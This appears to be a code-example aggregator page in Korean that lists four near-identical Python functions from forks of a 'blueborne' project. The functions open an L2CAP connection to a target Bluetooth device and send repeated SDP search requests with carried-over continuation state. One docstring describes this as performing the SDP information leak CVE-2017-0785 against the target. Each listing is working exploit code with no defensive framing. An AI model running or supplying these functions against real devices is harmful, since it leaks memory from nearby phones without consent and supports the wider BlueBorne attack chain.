Python l2cap_connect 예제들

예제 #1

def do_sdp_info_leak(dst, src):
    socket = btsock.l2cap_connect((dst, SDP_PSM), (src, 0), MIN_MTU)
    socket.send(sdp.pack_search_request(sdp.L2CAP_UUID))
    response = sdp.unpack_sdp_pdu(socket.recv(4096))
    response['payload'] = sdp.unpack_search_response(response['payload'])
    result = []
    for i in range(20):
        cstate = response['payload']['cstate']
        assert cstate != b''
        socket.send(sdp.pack_search_request(sdp.ATT_UUID, cstate=cstate))
        response = sdp.unpack_sdp_pdu(socket.recv(4096))
        response['payload'] = sdp.unpack_search_response(response['payload'])
        result.append(response['payload']['records'])
    return result

예제 #2

파일: bluedroid.py 프로젝트: linaxp/blueborne

def do_sdp_info_leak(dst, src):
    socket = btsock.l2cap_connect((dst, SDP_PSM), (src, 0), MIN_MTU)
    socket.send(sdp.pack_search_request(sdp.L2CAP_UUID))
    response = sdp.unpack_sdp_pdu(socket.recv(4096))
    response['payload'] = sdp.unpack_search_response(response['payload'])
    result = []
    for i in range(20):
        cstate = response['payload']['cstate']
        assert cstate != b''
        socket.send(sdp.pack_search_request(sdp.ATT_UUID,
                                            cstate=cstate))
        response = sdp.unpack_sdp_pdu(socket.recv(4096))
        response['payload'] = sdp.unpack_search_response(response['payload'])
        result.append(response['payload']['records'])
    return result

예제 #3

파일: bluedroid.py 프로젝트: kimocoder/blueborne

def my_sdp_info(dst):
    socket = btsock.l2cap_connect((dst, SDP_PSM), mtu=MIN_MTU)
    socket.send(sdp.pack_search_request(sdp.L2CAP_UUID))
    response = sdp.unpack_sdp_pdu(socket.recv(4096))
    response['payload'] = sdp.unpack_search_response(response['payload'])
    print response
    result = []
    for i in range(20):
        cstate = response['payload']['cstate']
        if cstate == b'':
            break
        socket.send(sdp.pack_search_request(sdp.L2CAP_UUID, cstate=cstate))
        response = sdp.unpack_sdp_pdu(socket.recv(4096))
        response['payload'] = sdp.unpack_search_response(response['payload'])
        print response
        result.append(response['payload']['records'])

    return result

예제 #4

파일: sdp.py 프로젝트: Darth-Revan/blueborne

def do_sdp_info_leak(dst, src):
    """
    Performs the SDP information leak CVE-2017-0785 and returns the result.

    Params:
        - `dst` - The target to exploit
        - `src` - The sender's own bluetooth address

    Returns:
        The leaked data as a two-dimensional array
    """
    socket = btsock.l2cap_connect((dst, SDP_PSM), (src, 0), MIN_MTU)
    socket.send(pack_search_request(L2CAP_UUID))
    response = unpack_sdp_pdu(socket.recv(4096))
    response['payload'] = unpack_search_response(response['payload'])
    result = []
    for i in range(20):
        cstate = response['payload']['cstate']
        assert cstate != b''
        socket.send(pack_search_request(ATT_UUID, cstate=cstate))
        response = unpack_sdp_pdu(socket.recv(4096))
        response['payload'] = unpack_search_response(response['payload'])
        result.append(response['payload']['records'])
    return result